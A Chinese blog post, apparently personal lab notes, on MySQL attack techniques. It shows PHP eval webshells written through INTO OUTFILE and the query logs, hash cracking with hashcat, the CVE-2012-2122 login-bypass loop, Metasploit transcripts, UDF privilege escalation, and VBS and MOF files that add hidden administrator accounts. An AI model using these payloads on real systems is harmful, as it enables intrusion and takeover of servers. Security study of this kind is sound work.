在这之前只知道数据库一般的写入webshell利用,但受限制条件在于需要知道绝对路径,网站路径有写入权限以及受secure-file-priv参数限制,因此这篇文章将从其它角度来扩大对数据库的攻击面

获取一般的webshell权限

我们依旧从getshell开始

直接写入webshell

查询路径与查看 secure_file_priv 信息

例如现在有如下sql查询语句

1
SELECT * FROM testtable WHERE `name` = '参数值';

查找绝对路径SELECT @@basedir;

1
SELECT * FROM testtable WHERE `name` = 'Bob' AND ascii(substr((@@basedir),1,1))>60 #';
1
SELECT * FROM testtable WHERE `name` = 'Bob' UNION SELECT 1,2,3,@@basedir #';

查看 secure_file_priv 配置SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';

NULL 不允许导入或导出
具体目录 只允许在指定目录下导入导出
不限制目录
1
SELECT * FROM performance_schema.global_variables WHERE VARIABLE_NAME = 'secure_file_priv';

image-20250421200939081

因此可以构造

1
SELECT * FROM testtable WHERE `name` = 'Bob' UNION SELECT 1,2,3,VARIABLE_VALUE FROM performance_schema.global_variables WHERE VARIABLE_NAME = 'secure_file_priv' #';

或者直接通过系统变量

1
SELECT * FROM testtable WHERE `name` = 'Bob' UNION SELECT 1,2,3,@@secure_file_priv #';

into outfile写入

1
SELECT "<?php @eval($_POST['quar']); ?>" INTO OUTFILE '绝对路径';

terminated by写入

在MySQL中,terminated byLOAD DATASELECT … INTO OUTFILE 语句中的一个子句,用于指定字段或行的分隔符,它通常用于数据导入/导出时控制文件格式

定义字段(列)之间的分隔符

1
2
FIELDS TERMINATED BY ','
FIELDS TERMINATED BY '\t'

定义行之间的分隔符,默认是 \n

1
2
LINES TERMINATED BY '\n' -- Unix/Linux换行
LINES TERMINATED BY '\r\n' -- Windows换行
1
SELECT * FROM testtable WHERE `name` = 'Bob' UNION SELECT 1,2,3,4 INTO OUTFILE 'C:\\phpstudy_pro\\WWW\\shell.php' lines terminated by "<?php @eval($_POST['quar']); ?>" #';

对于php文件来说,前面的脏数据是没啥关系的,但有些时候我们可以这样构造(在udf提权我会再次提到这里)

1
SELECT * FROM users WHERE username='a' UNION SELECT "<?php @eval($_POST['quar']); ?>",'','' INTO OUTFILE 'C:\\phpstudy_pro\\WWW\\a.txt'

image-20250421204321510

日志文件写shell

首先查看日志模式是否开启

1
SHOW VARIABLES LIKE '%general%';
1
2
SELECT @@general_log; #0对应关闭,1对应开启
SELECT @@general_log_file; #查看日志路径

此时我们再写入shell就会被记录到日志文件中去,不过这里得注意日志文件得是php后缀才会被当作php文件处理

1
SELECT "<?php @eval($_POST['quar']); ?>";

image-20250421205818146

这里还有一个利用思路,如果运行执行多条sql语句的话,我们可以利用堆叠注入,利用set将日志文件路径设置为网站路径中的php文件,届时可以写入🐎进去

慢日志文件写 shell

慢日志用于记录执行时间超过指定阈值的SQL语句。其他数据库系统有类似功能只是实现方式不同

1
SHOW VARIABLES LIKE '%slow_query%';

image-20250421211150642

1
SHOW VARIABLES LIKE '%long_query_time%';

默认阈值是10s

1
SELECT "<?php @eval($_POST['quar']); ?>" OR SLEEP(10);

image-20250421211648133

image-20250421211730049

Hash爆破弱密码

MySQL4.1/MySQL5

MySQL各版本用户认证信息存储方式

1
2
3
4
5
6
MySQL ≤ 5.6
SELECT host, user, password FROM mysql.user;
MySQL 5.7
SELECT host, user, authentication_string FROM mysql.user;
MySQL 8.0+
SELECT host, user, authentication_string, plugin FROM mysql.user;

可以使用在线网站查询https://www.cmd5.com/default.aspx

也可以用hashcat来破解

1
hashcat -a 0 -m 300 '6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9' dict/Top1000.txt -O

这里300对应的加密方式是MySQL4.1/MySQL5

image-20250422000107393

MySQL8

至于MySQL 8.0默认使用caching_sha2_password插件,基于SHA-256的密码哈希算法

不过为了兼容性问题,依旧是mysql_native_password需要手动更改配置

default_authentication_plugin = caching_sha2_password

内容 字节数 说明
哈希算法 2字节 目前仅为 $A,表示 SHA256 算法
哈希轮转次数 4字节 目前仅为 $005,表示 5*1000=5000 次
盐(salt) 21字节 用于解决相同密码相同哈希值问题
哈希值 43字节

image-20250422234253157

发现有一些不可见字符,我们转换成16进制输出

1
2441243030352478013F0B7C6F40696E06133F482A010604167131696E5638664C385859374D7A694D782E634D7A434D46714950576A7A513966627063696230776B55514131

由于的16进制表示固定为24412430303524,因此我们要转换成Hashcat 模式 7401 的格式https://hashcat.net/wiki/doku.php?id=example_hashes

1
$mysql$A$005*<salt>*<hash>
1
2
echo "2441243030352478013F0B7C6F40696E06133F482A010604167131696E5638664C385859374D7A694D782E634D7A434D46714950576A7A513966627063696230776B55514131" | \
sed 's#24412430303524\(.\{40\}\)\(.\{64\}\)#$mysql$A$005*\1*\2#g' > ./hash.txt
1
$mysql$A$005*78013F0B7C6F40696E06133F482A010604167131*696E5638664C385859374D7A694D782E634D7A434D46714950576A7A513966627063696230776B55514131
1
hashcat -m 7401 ./hash.txt ./dict/Top1000.txt

image-20250423000007607

MySQL的一些漏洞

yaSSL 缓冲区溢出

yaSSL是一个轻量级的 SSL/TLS 加密库,主要用于为MySQL提供安全通信支持

具体是在处理TLS/SSL握手过程中的客户端证书时,攻击者连接到MySQL服务器并启动SSL握手,发送一个精心构造的恶意X.509证书,证书中包含超长的”Common Name”字段,服务器在处理该字段时未进行适当边界检查,导致堆缓冲区溢出,可能覆盖关键内存结构

本来是想自己复现一个环境的,但是网上的博客都是泛泛而谈,之后下载了Linux老版本缺少插件,但是太久已经不维护了,而win的老版本缺少yassl的dll,总之搞了很久便放弃了

msf有对应的攻击模块,如果以后遇到老版本可以直接用https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/mysql/mysql_yassl_hello.rb

1
2
use exploit/windows/mysql/mysql_yassl_hello
use exploit/linux/mysql/mysql_yassl_hello

authbypass身份认证绕过

MySQL versions from 5.1.63 5.5.24 5.6.6

Mysql 身份认证绕过漏洞(CVE-2012-2122)

原理:MySQL 的密码校验函数 (sql/password.c) 在比较 memcmp() 的返回值时存在逻辑错误,当 memcmp() 比较密码哈希值时,某些情况下会返回非预期值(在某些平台上,如果启用了某些优化,该函数可能会返回超出此范围的值),最终导致比较哈希密码的代码有时即使输入了错误的密码也会返回 true。而 MySQL 错误地将其判定为“匹配成功”由于 memcmp() 的实现依赖运行环境(如编译器优化、CPU架构),通过快速测试攻击者可以大概率触发一次成功的绕过,大概是1/256

1
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.25.128 -P3306 --ssl=0; done

image-20250423220632804

这还是挺快的,也就试了30次左右吧

当然我们可以使用Metasploit的现成攻击模块mysql_authbypass_hashdump,Jonathan Cran 提交了一个线程式暴力破解模块,该模块利用身份验证绕过漏洞自动转储密码数据库。这确保即使身份验证绕过漏洞已修复,仍然能够使用破解的密码哈希值访问数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set USERNAME root
USERNAME => root
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set RHOSTS 192.168.25.128
RHOSTS => 192.168.25.128
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > run
[+] 192.168.25.128:3306 - 192.168.25.128:3306 The server allows logins, proceeding with bypass test
[*] 192.168.25.128:3306 - 192.168.25.128:3306 Authentication bypass is 10% complete
[+] 192.168.25.128:3306 - 192.168.25.128:3306 Successfully bypassed authentication after 145 attempts. URI: mysql://root:NBhqy@192.168.25.128:3306
[+] 192.168.25.128:3306 - 192.168.25.128:3306 Successfully exploited the authentication bypass flaw, dumping hashes...
[+] 192.168.25.128:3306 - 192.168.25.128:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] 192.168.25.128:3306 - 192.168.25.128:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] 192.168.25.128:3306 - 192.168.25.128:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] 192.168.25.128:3306 - 192.168.25.128:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] 192.168.25.128:3306 - 192.168.25.128:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] 192.168.25.128:3306 - 192.168.25.128:3306 Hash Table has been saved: /root/.msf4/loot/20250423225148_default_192.168.25.128_mysql.hashes_548354.txt
[*] 192.168.25.128:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
1
2
3
4
5
6
Username,Hash
"root","*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9"
"root","*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9"
"root","*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9"
"root","*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9"
"root","*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9"

密码为123456

MySQL提权

UDF提权

取决于 MySQL 服务进程的运行权限,再者,每种数据库都有自己的UDF功能语法

UDF (User-Defined Function) 是MySQL中允许用户自定义函数的一种机制,它允许开发者用C/C++编写函数并加载到MySQL服务器中,就像使用内置函数一样调用。

UDF的使用步骤是事先需要编写高性能的C/C++代码,然后编译成Windows动态库(.dll)或Linux/Unix动态库(.so),对于MySQL来说其需要放置于安装目录下的 lib\plugin 文件夹,最后创建一个指向动态库文件的自定义函数。显然如果指向了恶意的动态库文件,就会执行恶意系统命令

浅谈静态库&动态库

静态库和动态库区别

1
2
3
C源代码(.c) → 编译 → 目标文件(.o) → 打包 → 静态库(.a)
↘ 链接 → 可执行文件
↘ 打包+特殊编译 → 动态库(.so) → 运行时加载

源代码文件不用多说,人类可读的程序实现,作为软件开发的起点main.c

在这里你可以把目标文件认为是编译器生成的机器代码中间形式;

我们最终是要编译成一个可执行目标文件main,即可直接运行的二进制文件,但在源代码中我们可能会存在调用的其他库函数,届时我们需要将源代码编译成可重定位目标文件(可以与其他可重定位目标文件合并,并创建可执行目标文件)main.o(Windows下为main.obj),与所调用的库函数的共享目标文件(特殊可重定位目标文件)进行链接;

而这里就会根据需求与静态库func.a(Windows下为func.lib)链接构建可执行目标文件main

在静态链接中,func.a会将调用的那部分函数拷贝到最总的可执行目标文件中

或与动态库func.so(Windows下为func.dll)链接构建可执行目标文件main

在动态链接中,会仅仅拷贝“调用规则”,在程序运行时完成真正的链接过程

因此,对于一个正在运行的MySQL来说,我们肯定是希望通过热加载形式来添加新函数,总不能还重新整个编译一遍吧?根据需求只需要更新动态库本身即可

动态库利用文件

查询插件目录

1
2
SELECT @@plugin_dir;
SHOW VARIABLES LIKE 'plugin_dir';

这里如果没有插件目录,在Windows下是可以用NTFS ADS流创建文件夹,命令行中是可以的,但是我的mysql去执行会出现权限问题,我在网上也没有看到解决办法

写入动态库

通过sqlmap写入(sqlmap默认payload的逻辑问题)
1
sqlmap -u "http://10.16.66.81/test.php" --data="username=a&password=a" --file-write="/home/qu43ter/桌面/mysql_udf/lib_mysqludf_sys_64.dll" --file-dest="C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll"

是的在这里一开始我以为是权限问题,毕竟sqlmap的日志也这么说

后面我又对Linux环境下做同样的操作,但是我仔细检查在插件目录下的权限mysql作为所有者是有读写执行权限的

image-20250425014243575

后面hex编码直接写入也是没问题的,问题真正在于sqlmap在写文件时的payload(可能对于我这个环境而言)

解决sqlmap无法写入问题

一开始现象在于写入的只有一个空文件里面没有内容,让我一度怀疑真的是权限问题吗?于是我使用参数v 3看看sqlmap使用了什么payload

1
a' LIMIT 0,1 INTO OUTFILE '/xp/server/mysql/lib/plugin/udf.txt' LINES TERMINATED BY 0x617364660a-- -

而a这里是一个错误的用户名,所以limit根本不会返回结果,导致LINES TERMINATED BY不起作用,最终得到的一个空文件,而后续sqlmap又执行了

1
2
3
4
5
[11:04:39] [DEBUG] checking the length of the remote file 'C:/phpstudy_pro/Extensions/MySQL8.0.12/lib/plugin/s.txt'                                                                                       
[11:04:39] [PAYLOAD] a' AND GTID_SUBSET(CONCAT(0x716a766a71,(MID((IFNULL(CAST(LENGTH(LOAD_FILE(0x433a2f70687073747564795f70726f2f457874656e73696f6e732f4d7953514c382e302e31322f6c69622f706c7567696e2f732e747874)) AS NCHAR),0x20)),1,190)),0x716b716b71),6867)-- rxjb
[11:04:39] [INFO] retrieved: '0'
[11:04:39] [DEBUG] performed 1 query in 0.03 seconds
[11:04:39] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)

大概就是检查里面的内容,为空就返回0,所以它认为可能是权限问题

因此只有是正确的用户名才会使得LINES TERMINATED BY生效,这个我们可以dump出来,但问题在于我们的udf.so文件肯定是不允许前面的脏数据出现的,我们就可以用

1
a' UNION SELECT 16进制数据,'','' INTO OUTFILE '/xp/server/mysql/lib/plugin/udf.so'#

也就懒得去用sqlmap了

image-20250425122118332

通过hex编码写入
1
SELECT hex(load_file('/home/qu43ter/Desktop/mysql_udf/lib_mysqludf_sys_64.so')) into dumpfile '/home/qu43ter/Desktop/mysql_udf/udf.txt';
1
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
关于UDF的一些思考

但这里我个人认为利用面是很局限的,就算我们可以从web中写入进去,但是我们也无法通过闭合去执行CREATE FUNCTION,除非是支持堆叠查询

因此我认为比较合理的场景是,通过web将MySQL的用户哈希dump下来,在弱密码的前提下爆破,如果可以远程连接,或者是在内网里发现MySQL是以高权限运行的,此时通过UDF执行的命令则是基于高权限,以Linux环境下来说,进一步获取服务器的root权限我们可以设置SUID权限chmod u+s /usr/bin/find,然后SUID提权;

或者cp /bin/bash /tmp/bash ; chmod +s /tmp/bash然后执行/tmp/bash -p

通过metasploit写入

需要提供账户和密码以及主机

1
2
3
4
5
6
7
msf6 exploit(multi/mysql/mysql_udf_payload) > set username root
username => root
msf6 exploit(multi/mysql/mysql_udf_payload) > set password 123456
password => 123456
msf6 exploit(multi/mysql/mysql_udf_payload) > set rhost 10.16.66.81
rhost => 10.16.66.81
msf6 exploit(multi/mysql/mysql_udf_payload) > run

image-20250424221151033

后续步骤同上

反弹shell

特定的udf,不过只能在32位的系统上使用动态库利用文件

启动项提权

对于老版本的,这里是Windows server 2003,启动路径

1
2
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
1
2
3
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "net user hacker hacker /add", 0
WshShell.Run "net localgroup administrators hacker /add", 0
1
select 16进制 into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs";

image-20250428224741061

MOF 提权

MOF是一种用于定义WMI类和实例的语言文件。当系统编译并执行MOF文件时,它可以创建、修改或删除WMI存储库中的类和实例。

将恶意MOF文件放置在特定目录

1
C:/Windows/system32/wbem/mof/ 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hack hack /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

执行成功的的时候,会出现在good目录下,否则出现在bad目录下

image-20250428230236913

image-20250428230332759

使用mysql时依旧以16进制编码输入

也可以使用MSF自动化工具:exploit/windows/mysql/mysql_mof

参考资料:

MySQL 提权方法整理

MySQL 漏洞利用与提权

红队攻击中数据库利用小记

Mysql的Getshell汇总

静态库和动态库区别